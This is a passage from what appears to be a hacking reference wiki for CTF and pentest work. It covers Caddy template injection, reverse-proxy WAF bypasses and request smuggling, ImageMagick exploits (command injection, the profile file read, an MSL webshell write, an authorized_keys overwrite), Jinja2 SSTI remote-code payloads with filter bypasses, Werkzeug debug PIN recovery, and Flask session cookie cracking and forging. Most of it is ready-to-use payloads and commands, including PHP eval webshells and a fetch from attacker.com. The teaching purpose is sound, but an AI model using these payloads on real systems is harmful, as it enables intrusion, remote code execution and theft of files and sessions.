Internally, it uses Go's [`text/template`](https://pkg.go.dev/text/template) to evaluate the `{{...}}` syntax. Importantly this is evaluated *after* placeholders. That means if a placeholder contains user-input, and is put into a response, the user input will be evaluated as a template! This allows you to call dangerous functions like:

* `{{env "VAR_NAME"}}`: Gets an environment variable
* `{{listFiles "/"}}`: List all files in a directory (relative to configured root)
* `{{readFile "path/to/file"}}`: Read a file (relative to configured root)

The code below is vulnerable because it puts a placeholder value in the response, while the response `template` directive is used:

<pre class="language-properties" data-title="Caddyfile"><code class="lang-properties">:80 {
    root * /
<strong>    templates
</strong><strong>    respond "You came from {http.request.header.Referer}"
</strong>}
</code></pre>

With a payload like the following, you can read arbitrary files:

<pre class="language-http" data-title="Request"><code class="lang-http">GET / HTTP/1.1
<strong>Referer: {{readFile "etc/passwd"}}
</strong></code></pre>

{% code title="Response" %}

```http
HTTP/1.1 200 OK

You came from root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
```

{% endcode %}

In case your character set is limited (eg. you cannot use quotes), it is possible to read strings from other variables such as `.Req.URL.RawQuery` or an index of `.Req.Header.`:

<pre class="language-http" data-title="Request 1"><code class="lang-http">GET / HTTP/1.1
<strong>Referer: {{env .Req.URL.RawQuery}}
</strong></code></pre>

<pre class="language-http" data-title="Request 2"><code class="lang-http">GET / HTTP/1.1
<strong>Referer: {{env (index .Req.Header.X 0)}}
</strong><strong>X: SECRET_KEY
</strong></code></pre>

As an alternative to quotes, you can also use backticks (`` ` ``) to create inline strings.

## WAF Bypass

Some generic techniques for reverse proxies that act as Web Application Firewalls to block certain dangerous requests. This often includes blocking attack-like syntax such as `' OR 1=1;--` or marking certain paths as "internal only".

### Trim Paths

If it is trying to block a certain path from being accessed, such as `/admin`, you may be able to obfuscate it so that the reverse proxy doesn't recognize it anymore while the application still does.

In [#nginx](#nginx "mention"), for example, if you make a `location = ...` rule the normalized path needs to exactly match the given location for the rule to trigger. By adding any byte to the end of the path, it won't be recognized anymore. Most applications still understand some special bytes as suffixes. The research below explores this in various different servers:

{% embed url="<https://blog.bugport.net/exploiting-http-parsers-inconsistencies>" %}
Various examples of how differences in parsing between proxy/server can cause bypasses
{% endembed %}

{% code title="nginx.conf" %}

```nginx
location = /admin {
    deny all;
}
```

{% endcode %}

This should prevent access to the `/admin` endpoint, but if we define a handler for it in Express.js, you can bypass it by adding the byte `\x85` to the end of your path:

{% code title="Express.js" %}

```javascript
app.get('/admin', (req, res) => {
    return res.send('ADMIN');
});
```

{% endcode %}

{% code title="Bypass Request" %}

```http
GET /admin\x85 HTTP/1.1
```

{% endcode %}

### Path Traversal

[#caddy](#caddy "mention") also has a way to block certain paths:

```properties
:80 {
	root * /html
	respond /flag.txt 403
	file_server
}
```

In versions [< 2.4.6](https://github.com/caddyserver/caddy/pull/4407), this path was a literal equals check, meaning it was simply bypassable using:

```http
GET //flag.txt HTTP/1.1
```

Other combinations of this using `../` and encoded `%2e%2e%2f` sequences may help confuse the proxy and the backend.

### WebSocket & h2c Smuggling

If you want to communicate with the backend directly without the proxy in the way, you may be able to confuse the proxy into thinking you are speaking a binary protocol so that it doesn't try and interfere anymore. While you have such a connection with the backend, you can send it arbitrary HTTP requests and receive raw responses.

There are two techniques for this, the first involving WebSockets. To full understand the attack, read the README in this repository:

{% embed url="<https://github.com/0ang3el/websocket-smuggle>" %}
Research into confusing proxies and smuggling HTTP over WebSockets
{% endembed %}

Setting up a WebSocket connection typically goes like this:

1. *Client* sends an HTTP GET request with `Upgrade: websocket`, `Sec-WebSocket-Version: 13` and `Sec-WebSocket-Key: <SOME_NONCE>` headers
2. *Proxy* forwards this request to the backend
3. *Backend* implements websockets for the requested endpoint, so it returns a `101` status code with a `Sec-WebSocket-Accept:` header derived from the nonce
4. *Proxy* recognizes the status code and sees it is a successful WebSocket connection, so it switches the state of this TCP connection to allow binary data passthrough
5. *Client* and *Backend* can now **directly communicate** over WebSocket frames

#### Status Code not checked

An issue occurs when *Proxy* does not check the response status code, instead it uses some other heuristic like the response headers to determine that a WebSocket connection was established. If the connection was unsuccessful in reality (like due to a wrong `Sec-WebSocket-Version: 1337` header), the backend still wants HTTP requests.

At this point the proxy has switched for forwarding raw TCP, because it thinks the connection is speaking WebSocket frames. But in reality the client can now send HTTP requests to the backend and receive raw responses, bypassing the proxy.

<figure><img src="/files/3HFaYYBwTCIBf9KwU0Fl" alt=""><figcaption><p>Flow diagram explaining the attack to set up a direct WebSocket connection with the backend</p></figcaption></figure>

#### Return arbitrary status code

For other types of proxies that *do* check the status code, you may still be able to confuse them by returning that correct status code through an SSRF or other mechanism that allows you to set it to 101. This can create another scenario where the proxy thinks the connection switched to WebSocket frames, and the content isn't checked.

So, by sending the backend to your server and returning a status code 101 response, which it reflects, the proxy will think a WebSocket connection has been established. Now the client can send arbitrary HTTP requests again over this connection because the proxy expects binary WebSocket frames. The backend still expects HTTP and will respond directly.

<figure><img src="/files/gW3KoplRE0o7nYaVO2fm" alt=""><figcaption><p>Flow diagram with SSRF to return 101 status code</p></figcaption></figure>

#### h2c upgrade over TLS

There is another protocol we can `Upgrade:` to, named `h2c` or "HTTP/2 cleartext". This name is because regularly, HTTP/2 is only available using encrypted TLS because it is negotiated during the handshake. However, an alternative was made where a regular HTTP/1.1 connection can be upgraded to HTTP/2 using a request like the following:

```http
GET / HTTP/1.1
Host: www.example.com
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```

The rest of the messages will now go over HTTP/2's binary protocol.

When a *Proxy* is in the way, it will only expect an h2c upgrade when communication is cleartext (no TLS). But what if we do it on TLS anyway?

The answer to that question is what is answered in the following post and leads to this attack:

{% embed url="<https://bishopfox.com/blog/h2c-smuggling-request>" %}
Explaining smuggling requests with h2c over TLS
{% endembed %}

It turns out that proxies who forward the upgrade headers to the backend, will receive the 101 Switching Protocols response, and proceed to set up a binary tunnel between the client and the server. Since it speaks HTTP/2 now, the proxy won't look at it anymore and you as the client can send arbitrary requests to the backend and receive raw responses.

<figure><img src="/files/6CHokVV3gKQVn0yh1ROh" alt=""><figcaption><p>Flow diagram for setting up h2c connection</p></figcaption></figure>

Note that the backend server has to support h2c upgrades for this to work, which is often a manual setting. The tool below can test and exploit this easily given a URL:

{% embed url="<https://github.com/assetnote/h2csmuggler>" %}
Tool to check and smuggle requests using h2c over TLS to bypass proxy rules
{% endembed %}

[^1]: This group may contain newlines, saved to `$1`


# ImageMagick

A tool/library for converting and editing images of many formats, with some older versions having known vulnerabilities

## Known Vulnerabilities

* `convert -version` to check version
* [Release Archive](https://download.imagemagick.org/archive/releases/?C=N;O=D) for testing

### Command Injection - CVE-2016–3714 (< 6.9.3-10 = May 2016)

{% embed url="<https://imagetragick.com/>" %}
Site about this vulnerability, explaining all different impacts and more details
{% endembed %}

When providing `convert` with an input, it is possible to use a **URL** that will be fetched by it. It does so using the following command template:

{% code title="Vulnerable template" %}

```bash
"wget" -q -O "%o" "https:%M"
```

{% endcode %}

Here, `%M` is the input URL, which can be command-injected by either command substitution or simply escaping the `"` quotes:

{% code title="Payload" %}

```bash
https://example.com"|touch "/tmp/pwned
```

{% endcode %}

By forcing ImageMagick to request this URL, we can execute arbitrary commands:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ convert 'https://example.com"|bash -c "id > /tmp/pwned' output.png
</strong>$ cat /tmp/pwned
uid=1001(user) gid=1001(user) groups=1001(user)
</code></pre>

#### Using MVG files with URLs

While the above trick is useful if you have control over the input URL, this is not always the case. To make this more exploitable we can trigger the same behavior through MVG syntax. This has a `url()` function that will fetch with the same command injection vulnerability:

{% code title="exploit.png" %}

```bash
push graphic-context
viewbox 0 0 640 480
fill 'url(https://localhost/`id > /tmp/pwned`)'
pop graphic-context
```

{% endcode %}

{% code title="exploit.png (alternative)" %}

```bash
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://localhost/`id > /tmp/pwned`'
pop graphic-context
```

{% endcode %}

Simply uploading and converting this file alone will now trigger the vulnerability:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ convert exploit.png output.png
</strong>$ cat /tmp/pwned
uid=1001(user) gid=1001(user) groups=1001(user)
</code></pre>

### `profile` File Read - CVE-2022-44268 (< 7.1.0-50 = Oct 2022)

[This writeup](https://web.archive.org/web/20240703005437/https://www.metabaseq.com/imagemagick-zero-days/) explains a vulnerability in ImageMagick that allowed an input file to contain malicious **metadata** including a **filename**, and the output file would **contain the content** of that file on the remote server. Exploiting it is very simple:

1. **Create the file**: Take any PNG file, and add a `profile` `tEXt` chunk to it with a filename that is the file you wish to read:<br>

   <pre class="language-shellscript"><code class="lang-shellscript"><strong>$ pngcrush -text a 'profile' '/etc/passwd' example.png
   </strong>CPU time decode 0.000000, encode 0.000000, other 0.000000, total 0.000002 sec
   <strong>$ xxd pngout.png
   </strong>00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
   00000010: 0000 0001 0000 0001 0100 0000 0037 6ef9  .............7n.
   00000020: 2400 0000 0a49 4441 5478 9c63 6800 0000  $....IDATx.ch...
   <strong>00000030: 8200 8177 cd72 b600 0000 1474 4558 7470  ...w.r.....tEXtp
   </strong><strong>00000040: 726f 6669 6c65 002f 6574 632f 7061 7373  rofile./etc/pass
   </strong><strong>00000050: 7764 00b7 f46d 9c00 0000 0049 454e 44ae  wd...m.....IEND.
   </strong>00000060: 4260 82                                  B`.
   </code></pre>
2. **Upload the file** to your target so ImageMagick will parse it<br>

   <div data-gb-custom-block data-tag="hint" data-style="warning" class="hint hint-warning"><p>During the conversion, the following warning should appear confirming the vulnerability:</p><pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>keyword "Raw profile type ": bad character '0x20' @ warning/png.c/MagickPNGWarningHandler/1750.
   </strong></code></pre></div>
3. **Download the result** and **extract the data**: With the file downloaded, another `tEXt` or `zTXt` (compressed) chunk is added containing the content as data.<br>

   <pre class="language-shellscript"><code class="lang-shellscript"><strong>$ exiftool -RawProfileType download.png | cut -d '.' -f4- | xxd -p -r
   </strong>root:x:0:0:root:/root:/bin/bash
   ...
   </code></pre>

<details>

<summary>Python Functions</summary>

```renpy
def create_payload(original_image, filename):
    subprocess.run(["pngcrush", "-text", "a", "profile", filename, original_image])
        
    return open("pngout.png", "rb")

def extract_content(file):
    image = png.Reader(file)
    chunks = image.chunks()
    
    for chunk_type, chunk_data in chunks:
        if chunk_type == b"zTXt":
            key, _, value = chunk_data.split(b"\x00", 2)
            if b"profile" in key:
                decompressed = zlib.decompress(value)
            else:
                continue
        elif chunk_type == b"tEXt":
            key, value = chunk_data.split(b"\x00", 1)
            if b"profile" in key:
                decompressed = value
            else:
                continue
        else:
            continue
        
        hex_data = b''.join(decompressed.splitlines()[3:])
                                
        return bytes.fromhex(hex_data.decode())
```

</details>

### PHP `vid:msl:` path RCE (< 7.1.0-40 = Jul 2022)

While researching Arbitrary Object Instantiations researchers found an interesting trick in ImageMagick that allowed **writing files** when parsing an image with a specific path. To be able to perform this attack you require control over the **start of the path** that `convert` tries to parse:

{% embed url="<https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/>" %}
Tricks for the original research, but mostly focused on the ImageMagick MSL vulnerability
{% endembed %}

#### How it works

Magick Scripting Language (MSL) is a special schema and file that ImageMagick supports to script certain actions while converting. By **prefixing** a path with `msl:`, the file is interpreted as this scripting language which performs sensitive actions like reading and writing files:

{% code title="/tmp/php3r1Y4p" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="http://attacker.com/shell.png" />
 <write filename="../shell.php" />
</image>
```

{% endcode %}

{% hint style="success" %}
Using `caption:&lt;?php @eval(@$_REQUEST['a']); ?&gt;` as the `filename` for `<read>` here would even bypass the need for a server hosting content, as will be used in the [#exploitation](#exploitation "mention") phase:

<pre class="language-xml"><code class="lang-xml"><strong>&#x3C;read filename="caption:&#x26;lt;?php @eval(@$_REQUEST['a']); ?&#x26;gt;" />
</strong></code></pre>

{% endhint %}

We need to somehow get this file on the target so we can reference it. Luckily PHP has a default configuration of saving all uploaded files temporarily in the `/tmp` folder so the code can handle it. It does not matter if the code actually does something with `$_FILES`, PHP will always save files from any request that has files.

The name for these files is generated, like `/tmp/php3r1Y4p`, which *should* be random so you can't guess its path. The first problem is that with enough attempts this path can still be guessed in a reasonable time. But ImageMagick takes this one step further and allows **wildcards** using VID that enable it to match all files with the known pattern, eliminating the need for guessing. That makes the final path: `vid:msl:/tmp/php*`

One last caveat is the fact that the `<read>` image in the MSL file needs to be in a valid image format that ImageMagick can parse, otherwise, it won't write. This is easily circumvented however by just putting code in the metadata for the file to remain valid:

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>$ convert xc:red -set 'Copyright' '&#x3C;?php @eval(@$_REQUEST["a"]); ?>' shell.png
</strong>$ cat shell.png
...
IDA�c`�!�3*tEXtCopyright&#x3C;?php @eval(@$_REQUEST["a"]); ?>6�%tEXtdate:create2023-08-11T13:36:21+00:00E�%tEXtdate:modify2023-08-11T13:36:21+00:004��nIEND�B`�
</code></pre>

#### Exploitation

To exploit this behavior in a standard PHP application that throws our input into the `new Imagick(...)` constructor, we need the following things:

1. If you are unsure about the file path, use `vid:` together with `*` wildcards to match the file
2. Prefix the path with `msl:` to let `convert` interpret it as a script
3. For PHP, use `Content-Type: multipart/form-data` and add a file with the malicious content to create a temporary file

Sending this all in one go may look something like this:

<pre class="language-xml" data-title="HTTP"><code class="lang-xml"><strong>GET /convert?path=vid:msl:/tmp/php*
</strong>...
Content-Type: multipart/form-data; boundary=ABC
 
--ABC
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: text/plain
 
&#x3C;?xml version="1.0" encoding="UTF-8"?>
&#x3C;image>
<strong> &#x3C;read filename="caption:&#x26;lt;?php @eval(@$_REQUEST['a']); ?&#x26;gt;" />
</strong> &#x3C;!-- Relative paths such as info:./../../uploads/swarm.php can be used as well -->
<strong> &#x3C;write filename="info:/var/www/html/swarm.php" />
</strong>&#x3C;/image>
--ABC--
</code></pre>

{% hint style="info" %}
Before going directory to exploitation, you can also test if it would be possible to **control** the **start of the path** by providing a common Linux path like:

<pre><code><strong>/usr/share/plymouth/ubuntu-logo.png
</strong></code></pre>

If this accesses the Ubuntu logo, and the ImageMagick version is old enough, the above is very likely to work
{% endhint %}

## Argument Injection

When a server runs `convert` on your input, you may have control over some of its parameters. It might keep the filename as you had input it, or allow you to specify modifiers like `crop` or `resize`. These can all lead to injecting more malicious arguments to leak data or even take over the server.

### OCR File Read using `TEXT:`

If you have control over the start of the file path and you can include `/` slashes in your input path, the `TEXT:` **prefix** can read the target file and show its contents in the output as text on white:

```shell-session
convert TEXT:/etc/passwd output.png
```

![](/files/wC9r2PhRJ7hnayRImraV) = `output.png`

{% hint style="info" %}
**Note**: This path can also be *relative*, so it may be used with `../` or simply another filename to read its contents as text
{% endhint %}

### Writing image files using `-write`

The special [`-write [filename]`](https://imagemagick.org/script/command-line-options.php#write) argument to `convert` will write the image with its options up until the argument to a path. For this, you need to be able to inject a single option and value.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ convert example.png -write /tmp/test output.png
</strong><strong>$ file /tmp/test
</strong>/tmp/test: PNG image data, 1 x 1, 8-bit colormap, non-interlaced
</code></pre>

{% hint style="success" %}
If this specific string is blocked, or if the `-` dash is not allowed, `+write [filename]` will essentially do the same thing and can work as an alternative!
{% endhint %}

One **big caveat** is that the file **must be a valid image**. Otherwise, ImageMagick will refuse to write the output.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ convert /etc/passwd -write /tmp/test output.png
</strong>convert: no decode delegate for this image format `' @ error/constitute.c/ReadImage/738.
convert: no images defined `output.png' @ error/convert.c/ConvertImageCommand/3325.
<strong>$ file /tmp/test
</strong>/tmp/test: cannot open `/tmp/test' (No such file or directory)
</code></pre>

Luckily, it understands many formats with useful quirks, like BMP which easily allows you to insert *any content* in RGB data while remaining valid. A useful **polyglot** to make with this is writing to the `~/.ssh/authorized_keys` file in order to log in via SSH. This file is surprisingly error-tolerant and will only split it with `\n` newlines and interpret every chunk as a possible key. This means that if we have our key `"\nssh-rsa AAAAB3NzaC1yc2E...uipd2wIDAQAB\n"` *somewhere* in it, we are able to log in.

The script below creates a file with an SSH public key embedded as plain text, so that if it takes `authorized_keys`'s place, it will allow an attacker to log in:

{% code title="create\_bmp.py" %}

```python
import struct

DATA = b"""
ssh-rsa AAAAB3NzaC1yc2E...uipd2wIDAQAB
"""

# Reference: https://github.com/corkami/pics/blob/master/binary/bmp1.png
header = b"\x00\x00\x00\x00" + b"\x1c\x00\x00\x00" + b"\x0c\x00\x00\x00" + b"\x01\x00\x01\x00\x01\x00\x18\x00\x00\x00"
file_length = 2 + 4 + len(header) + len(DATA)
bmp = b"BM" + struct.pack("<I", file_length) + header + DATA

with open("payload.bmp", "wb") as f:
    f.write(bmp)
```

If we then use this file to inject arguments, ImageMagick will happily parse and write the file:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ convert payload.bmp -write ~/.ssh/authorized_keys output.png
</strong><strong>$ cat ~/.ssh/authorized_keys
</strong>BMF

ssh-rsa AAAAB3NzaC1yc2E...uipd2wIDAQAB
<strong>$ hd ~/.ssh/authorized_keys
</strong>00000000  42 4d 46 00 00 00 00 00  00 00 1a 00 00 00 0c 00  |BMF.............|
00000010  00 00 0e 00 01 00 01 00  18 00 0a 73 73 68 2d 72  |...........ssh-r|
00000020  73 61 20 41 41 41 41 42  33 4e 7a 61 43 31 79 63  |sa AAAAB3NzaC1yc|
00000030  32 45 2e 2e 2e 75 69 70  64 32 77 49 44 41 51 41  |2E...uipd2wIDAQA|
00000040  42 0a 00 00 00 00                                 |B.....|
</code></pre>


# Frameworks

Libraries for specific programming languages that make development easier, with their own quirks


# Flask

A Python library working with Werkzeug and Jinja2

## # Related Pages

{% content-ref url="/pages/ERJKCwMimV2uMUUAR6hF" %}
[Python](/languages/python)
{% endcontent-ref %}

## Jinja2 Server-side Template Injection (SSTI)

Inject the Jinja2 templating language for when the `render_template_string()` function is used

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti>" %}
HackTricks explaining exploitation in detail
{% endembed %}

### 1. Detect

```django
{{7*7}}
{{config}}
{% debug %}
```

### 2. Find subclasses to use for RCE

```django
''.__class__.mro()[1].__subclasses__()
```

Then take the response and replace `,` with `\n` in Visual Studio Code to easily see the line number of the index. The `'subprocess.Popen'` key is an easy way to execute commands, but more can also be exploitable.

### 3. Use subclass for RCE

Find a vulnerable subclass and replace index `42` with the index of it in the `__subclasses__()`:

{% code overflow="wrap" %}

```django
{{''.__class__.mro()[1].__subclasses__()[42]('id',shell=True,stdout=-1).communicate()[0].strip()}}
```

{% endcode %}

Alternatively, try this **one-shot** that works on Flask applications specifically:

{% code title="One shot" %}

```django
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

{% endcode %}

When you think you have template injection, but aren't sure of the backend, try following these error-based payloads to find what differentiates them. Then check out [HackTricks](https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html#exploits) for many different template languages:

{% embed url="<https://cheatsheet.hackmanit.de/template-injection-table/>" %}
Interactive table of detection payloads to narrow down the template engine
{% endembed %}

### Filter Bypass

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/cyber-apocalypse-2021/build-yourself-in>" %}
Writeup of challenge where quotes (`'` & `"`) were blocked
{% endembed %}

{% code overflow="wrap" %}

```django
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")()}}
```

{% endcode %}

In Flask, it is also possible to read strings from query parameters. The following does not use many special characters while allowing you to put any special characters that you need in a `?a=` query parameter for the request triggering `render_template` or `render_template_string`:

```python
{{request|attr("args")|attr("get")("a")}}
```

***

When these don't cut it, try this phenomenal tool built specifically to bypass Jinja2 template injection filters. Given a server, it **automatically detects the filter remotely to try and bypass it**. This combines many tricks to bypass all kinds of character/word filters:

{% embed url="<https://github.com/Marven11/Fenjing>" %}
Mind-blowing automatic filter bypasser
{% endembed %}

You should read the documentation of the tool above ([English translation](https://github-com.translate.goog/Marven11/Fenjing?_x_tr_sl=zh-CN&_x_tr_tl=en&_x_tr_pto=wapp)) to understand its usage. One of its most useful features is shown in the [examples](https://github-com.translate.goog/Marven11/Fenjing/blob/main/examples.md?_x_tr_sl=zh-CN&_x_tr_tl=en&_x_tr_pto=wapp) when you can recreate the source code of the filter you are up against. Passing a function that returns `True` for valid requests and `False` for blocked ones, it can locally prepare a bypass for you to send in one shot:

<pre class="language-python"><code class="lang-python">from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level=logging.INFO)

<strong>COMMAND = "id > /tmp/pwned"
</strong>
def waf(s: str):
    blacklist = [
<strong>        "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
</strong><strong>        "[", '"', "'", "_", ".", "+", "~", "{{",
</strong><strong>        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
</strong><strong>        "０", "１", "２", "３", "４", "５", "６", "７", "８", "９"
</strong>    ]
    return all(word not in s for word in blacklist)

if __name__ == "__main__":
<strong>    payload, _ = exec_cmd_payload(waf, COMMAND)  # shell command
</strong>    # payload = config_payload(waf)  # read '{{ config }}'

    print(payload)  # '{%set de=dict(GET=x)|first|lower%}{%set ...'

</code></pre>

## Werkzeug - Debug Mode RCE (Console PIN)

Werkzeug is a very popular HTTP back-end for Python. Libraries like Flask use this in the back, and you might see "werkzeug" related response headers indicating this. It has a **Debug Mode** that will show some code context and stack traces when a server-side error occurs. These lines can expand to a few more lines to leak some source code, but the real power comes from the **Console**.

Every line shows a small ![](/files/zrtKHdg5EdYjITV0sJqi) terminal icon, that when pressed will prompt for a PIN that can unlock an interactive Python console on the server. If you can find the PIN, you can execute Python code on the server resulting in RCE.

This PIN is generated deterministically, meaning it should be the same every time, but different per machine. It simply uses some files on the filesystem to generate this code, so if you have some way to **read arbitrary files**, you can recreate the PIN yourself.

### Source Code

In the Traceback, you will likely see a path that contains `flask/app.py`. This is the path which the Flask source code is loaded from and will be needed later.

<figure><img src="/files/wMYMT4Hg6Q9HYrI8wl29" alt=""><figcaption><p>An example of the Traceback path containing <code>flask/app.py</code></p></figcaption></figure>

To read the code that generates the PIN, in the above leaked path, change `flask/app.py` to `werkzeug/debug/__init__.py`. you will find the code that handles this Debug Mode and generates the PIN. There are a few different versions of this code as it has changed over the years, so to be sure of how it works you should read this file on the target.

The function of interest here is `get_pin_and_cookie_name()`:\
*(note again that this code may be slightly different on the target)*

```python
def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.
    """
    ...

    modname = getattr(app, "__module__", t.cast(
        object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [
        str(uuid.getnode()), 
        get_machine_id()
    ]

    h = hashlib.sha1()  # <-- This may be md5() is some older werkzeug versions
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

    return rv, cookie_name
```

The most important things to note are the `probably_public_bits` and `private_bits`, which are the inputs for the randomness.

#### Public bits

The public bits are defined like so:

* `username`:\
  The user that started the program
* `modname`:\
  "flask.app" if running Flask, otherwise recreate the environment and log this value
* `getattr(app, "__name__", type(app).__name__)`:\
  "Flask" if `app.run(debug=True)` is used, and "wsgi\_app" if `DebuggedApplication` called manually
* `getattr(mod, "__file__", None)`:\
  Absolute path to the `flask/app.py` file that the Traceback shows. May in some cases also be `.pyc` instead of `.py`

Most of these can be easily found by guessing or looking at the source code. Only the username might be unknown at first.

#### Finding the username

There are a few ways to make an educated guess about the username. The `/proc/self/environ` file might contain a `USER` variable, making it as simple as reading this file. If this does not work for any reason, try the method below:

In the `/etc/passwd` file all users and their `uid`s are listed:

{% code title="/etc/passwd" %}

```
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
```

{% endcode %}

This gives a list of possible names. For a webserver `www-data` is common, but it could also be that another user on the system is hosting it.

To be sure, a trick you can use is to look at which users are using which port. By default, Flask uses port 5000, but this can be changed in the `app.run()` code. This trick uses the `/proc/net/tcp` file which shows a table of all the TCP connections on the system as a file:

{% code title="/proc/net/tcp" %}

```
sl local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt uid
0: 0100007F:1388 00000000:0000 0A 00000000:00000000 00:00000000 00000000  33
...
```

{% endcode %}

Here are two columns of interest. The `local_address` which is a **hex-encoded** IP and port number. Then `uid` which is the number that corresponds with a username in `/etc/passwd`. To decode the address and port, you can simply convert them from hex in a Python console:

{% code title="Python" %}

```python
>>> '.'.join(str(int("0100007F"[i:i+2], 16)) for i in range(6, -1, -2))
'127.0.0.1'
>>> 0x1388
5000
```

{% endcode %}

#### Private bits

Lastly, there are two more private bits:

* `str(uuid.getnode())`:\
  The MAC address of the target, in decimal format. For example: `00:1B:44:11:3A:B7` would be `0x001B44113AB7` in hex, and `'117106096823'` in decimal.\
  It can be found by reading the `/proc/net/arp` file to find the interface in the Device column, and then request the `/sys/class/net/[interface]/address` file to get the MAC address.
* `get_machine_id()`:\
  The way this machine-id is found again depends on the server werkzeug version, so read the function source in the same file to be sure. But often this is the `/etc/machine-id` file, or if that does not exist, the `/proc/sys/kernel/random/boot_id` file. After this value, a part of `/proc/self/cgroup` is also added if it exists. Take the first line and this code on it (likely to be an empty string):

  <pre class="language-python" data-title="Python"><code class="lang-python">>>> b"14:misc:/".strip().rpartition(b"/")[2]
  b''
  >>> b"0::/system.slice/flask.service".strip().rpartition(b"/")[2]
  b'flask.service'
  </code></pre>

### Generating the PIN

Finally, when you have all these required bits you can combine them in the same way the server would to recreate the PIN and access the console.

```python
probably_public_bits = [
    'www-data',
    'flask.app',
    'Flask',
    '/usr/lib/python3/dist-packages/flask/app.py'
]
private_bits = [
    '345050109109',
    'e5987d8fd3a14193bb997b6afbdf2cca' + 'flask.service'
]

...  # <Insert werkzeug/debug/__init__.py -> get_pin_and_cookie_name() code here>

print(rv)  # 123-456-789
```

This should then generate the correct console PIN that you can put into the prompt when you try to execute Python code. After this is unlocked, you can simply run system commands:

```python
>>> import os
>>> os.popen('id').read()
'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
```

## Session Cookie

If you have a `SECRET_KEY` of the Flask application, you can forge your own `session=` cookies. This can be useful to bypass authentication or even try injection attacks inside the session's parameters.

### Brute-Force

{% code title="Install" %}

```
pip install flask-unsign
```

{% endcode %}

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>$ flask-unsign --wordlist /list/rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiajByMmFuIn0.Yu6Z8A._RI4cQ2NSYW2epWYt-mR5cfkg0U' --no-literal-eval
</strong>[*] Session decodes to: {'logged_in': True, 'username': 'j0r2an'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17152 attempts
b'secret123'
</code></pre>

You can also speed this up significantly using [Cracking Hashes](/cryptography/hashing/cracking-hashes#hashcat), as can crack and even automatically detect Flask Session Cookies.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ hashcat eyJsb2dnZWRfaW4iOmZhbHNlfQ.XD88aw.AhuKIwFPpzGDFLVbTcsmgEJu-s4 /list/rockyou.txt 
</strong>...
29100 | Flask Session Cookie ($salt.$salt.$pass) | Network Protocol

eyJsb2dnZWRfaW4iOmZhbHNlfQ.XD88aw.AhuKIwFPpzGDFLVbTcsmgEJu-s4:CHANGEME
</code></pre>

{% hint style="warning" %}
Note that I have not always had successful results with hashcat. If you run into "No hash-mode matches the structure of the input hash" errors, try `flask-unsign` or manually set up the HMAC signature for hashcat to crack (see [Cracking Signatures](/cryptography/hashing/cracking-signatures) for some similar examples)
{% endhint %}

### Forging Session

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'
</strong>eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.YvlBnA.yo-Ef_eiy_aeDBgBK-cQdcu-nRw
